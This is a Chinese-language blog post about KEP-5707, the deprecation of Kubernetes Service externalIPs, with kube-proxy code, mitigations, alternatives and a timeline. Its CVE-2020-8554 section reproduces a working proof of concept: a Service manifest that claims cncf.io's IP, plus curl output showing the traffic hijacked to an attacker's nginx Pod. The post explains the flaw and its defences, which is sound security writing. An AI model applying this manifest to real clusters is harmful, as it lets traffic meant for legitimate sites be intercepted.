Kubernetes 從 v1.0 出現後,ExternalIPs 一直都在 Service 當中,沒想到經歷了 11 年,SIG Network 決定在 v1.36 版以後棄用,預計在 v1.43 後鎖定該功能不再使用。這之中發生什麼事?
今天我們一起來閱讀「KEP-5707: Deprecate Service.spec.externalIPs」吧!
本篇內容當下撰寫是 2026/4/18,會以此 commit 當前內容來介紹。
ExternalIPs 是什麼?#
開始閱讀 KEP-5707 之前,先來理解一下 ExternalIPs 欄位在做什麼。
Service 建立出來後,預設會分配到一組 Internal IP,只要符合 Selector 標籤的 Pod,都會被隨機分配連線。
但是,Internal IP 只能用在叢集內部,如果外部想要連線進來,要怎麼處理?公有雲的 Kubernetes 直接寫 type: LoadBalancer,剩下全部交給雲端廠商處理。但是,私有雲沒有 Cloud Provider 的支持,除了 type: NodePort 以外,其他就靠路由器或防火牆自行轉發了。
更何況,2015 年實作當下並沒有所謂的 MetalLB 或 Cilium 等專案存在,如果想要指定外部 IP 要如何處理?於是就有了"自行"指定 External IP。
ExternalIPs 的設計很單純,只要在 Service 的 .spec 中填入一組 IP,kube-proxy 會在每個節點上建立 iptables / IPVS 規則,把目標為該 IP 的流量轉發到對應的 Service endpoints,省下還需要連去外面的時間。
apiVersion: v1
kind: Pod
metadata:
name: my-app
labels:
app: my-app
spec:
containers:
- name: http-echo
image: hashicorp/http-echo:latest
args:
- "-listen=:8080"
- "-text=hello from my-app"
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
selector:
app: my-app
ports:
- port: 80
targetPort: 8080
externalIPs:
- 203.0.113.10換句話說,只要節點收到目標 IP 為 203.0.113.10 的封包,kube-proxy 就會透過 iptables 規則將流量轉發到 Service 後端的 Pod。以下是 kube-proxy 中建立 External IP 轉送規則的實作:
// Capture externalIPs.
for _, externalIP := range svcInfo.ExternalIPs() {
if hasEndpoints {
// Send traffic bound for external IPs to the "external
// destinations" chain.
natRules.Write(
"-A", string(kubeServicesChain),
"-m", "comment", "--comment", fmt.Sprintf(`"%s external IP"`, svcPortNameString),
"-m", protocol, "-p", protocol,
"-d", externalIP.String(),
"--dport", strconv.Itoa(svcInfo.Port()),
"-j", string(externalTrafficChain))
}
if !hasExternalEndpoints {
// Either no endpoints at all (REJECT) or no endpoints for
// external traffic (DROP anything that didn't get
// short-circuited by the EXT chain.)
filterRules.Write(
"-A", string(kubeExternalServicesChain),
"-m", "comment", "--comment", externalTrafficFilterComment,
"-m", protocol, "-p", protocol,
"-d", externalIP.String(),
"--dport", strconv.Itoa(svcInfo.Port()),
"-j", externalTrafficFilterTarget,
)
}
}程式碼來源:Kubernetes v1.35.4 iptables 實作
部署上面的 Service 後,可以在節點上看到 kube-proxy 產生的 iptables 規則:
$ docker exec -it externalips-lab-worker iptables -t nat -S | grep "external IP"
-A KUBE-SERVICES -d 203.0.113.10/32 -p tcp -m comment --comment "default/my-service external IP" -m tcp --dport 80 -j KUBE-EXT-FXIYY6OHUSNBITIX目標為 203.0.113.10:80 的 TCP 封包會被導入 KUBE-EXT-* chain,最終 DNAT 到 Pod IP。
不過 Kubernetes 本身不負責讓這個 IP 能被路由到節點上,剩下外部 IP 怎麼到節點,完全是使用者自己要處理的事。
當下設計看起來還可以,但實際暗藏危機悄然現身 —— CVE-2020-8554。
CVE-2020-8554#
- 2019/12/27 champtar 回報問題
- 2020/01/09 確定為有效漏洞
- 2020/03/03 編號 CVE-2020-8554 確定
- 2020/12/05 Issue#97076 更新
- 2020/12/07 公開 PoC 細節
雖然 Kubernetes 官方在 2020/12/05 於 Issue#97076 公開了 CVE-2020-8554 資訊,不過這則到筆者目前撰文為止,還是開啟狀態,也就是說,這漏洞依然還存在於現在版本中,並且尚未被修復。
上一段提及的設計情形,是建立在自己持有 IP 狀況下,但如果設定不是 Infra 本身或自己持有的 IP(e.g. CNCF 官網 IP),整個情形就變得極其詭異。
以接下來的例子說明,我設定 nginx Pod 和 my-evil-service Service,把 externalIPs 指定為 CNCF 的網站 IP。
本實驗改編自 GitHub Issue#97076 留言。
apiVersion: v1
kind: Pod
metadata:
labels:
run: nginx
name: nginx
spec:
containers:
- image: nginx:1.29.8-alpine
name: nginx
ports:
- containerPort: 80
protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
name: my-evil-service
spec:
selector:
run: nginx
type: LoadBalancer
ports:
- name: http
protocol: TCP
port: 80
targetPort: 80
externalIPs:
- 23.185.0.3 # cncf.io上段提及,Kubernetes 不會對 External IP 做 ARP 回應,也沒有 BGP 宣告,完全沒有任何驗證機制。kube-proxy 就會設定 iptables 規則上去,把內部導向 cncf.io 或 23.185.0.3 流向指向我的 nginx Pod。
原本要瀏覽 CNCF 官網,結果被有權限建立 Service 的人直接劫持 IP。
$ kubectl run --rm -i --tty curl --image=curlimages/curl --restart=Never -- curl -I http://cncf.io
HTTP/1.1 200 OK
Server: nginx/1.29.8
Date: Sat, 18 Apr 2026 10:27:22 GMT要如何緩解?這個 issue 沒有 patch,也沒有辦法升級解決,只能透過 admission webhook 限制欄位使用,於是有了 k-sigs/externalip-webhook 子專案。
後來在 v1.21 以後 kube-apiserver 有內建 DenyServiceExternalIPs admission webhook,不過預設是關閉,需要搭配 --enable-admission-plugins 參數打開。
如果有使用 Kyverno 專案,可以搭配 Restrict External IPs 政策使用。
替代方案#
ARP (Layer 2) or BGP (Layer 3)#
現在已經有很多實作 ARP 和 BGP 的專案,舉凡像 MetalLB 或 Cilium 都是不錯的 CNCF 專案。
Cilium LB IPAM 可以使用 lbipam.cilium.io/ips 的 annotation 來表示偏好使用的 IP。
apiVersion: v1
kind: Service
metadata:
name: service-blue
annotations:
"lbipam.cilium.io/ips": "20.0.10.100,20.0.10.200"
spec:
type: LoadBalancer
ports:
- port: 1234MetalLB Usage 頁面說明可以用 metallb.io/loadBalancerIPs 的 annotation。
apiVersion: v1
kind: Service
metadata:
name: nginx
annotations:
metallb.io/loadBalancerIPs: 192.168.1.100
spec:
ports:
- port: 80
targetPort: 80
selector:
app: nginx
type: LoadBalancer上面 YAML 只是讓 operator 可以參考 annotations 協助指派 IP,詳細設定不會在這裡展開,可以參考官網文件。
Gateway API#
每個雲端供應商或 CNCF 專案實作方式皆不同,需要詳細看各家說明文件。
如果是用 Cilium Gateway API 可以直接用 .spec.addresses 來指定。
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: my-gateway
spec:
gatewayClassName: cilium
addresses:
- type: IPAddress
value: 192.168.1.100
listeners:
- name: http
protocol: HTTP
port: 80但如果碰到像是 Istio 不是直接跟 CNI 掛鉤,可以用 .spec.infrastructure.annotations 讓 service 指定 annotation,讓 MetalLB 或 Cilium 指派偏好的 IP。
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
spec:
gatewayClassName: istio
infrastructure:
annotations:
lbipam.cilium.io/ips: "192.168.1.100"
listeners:
- name: http
protocol: HTTP
port: 80棄用階段#
- v1.36 宣布棄用,
kube-proxy新增AllowServiceExternalIPsfeature gate,預設為true,改為false即可關閉 ExternalIPs。 - 預計 v1.40 以後預設關閉
AllowServiceExternalIPs。 - 預計 v1.43 以後鎖定
AllowServiceExternalIPsfeature gate。 - 預計 v1.46 以後移除所有相關實作(
AllowServiceExternalIPsfeature gate 和DenyServiceExternalIPsadmission controller)
後記#
用現在的眼光看,ExternalIPs 的設計顯然有漏洞。但回到 2015 年,Cloud Native 生態系才剛起步,沒有 MetalLB、沒有 Gateway API,私有雲上想讓外部流量進來,除了 NodePort 就只能自己想辦法。讓使用者直接填 IP 是當時最直覺的做法。
最早提案的 Tim Hockin 也承認 .spec.externalIPs 是很糟糕的設計。只是 Kubernetes 一向重視穩定性,避免破壞性變更,即便知道有問題也不會輕易移除既有欄位。
直到 2026 年,CNCF 生態系逐漸成熟,替代方案已經到位,ExternalIPs 從「唯一選項」變成「有安全風險的遺留設計」,才終於有條件正式走向棄用。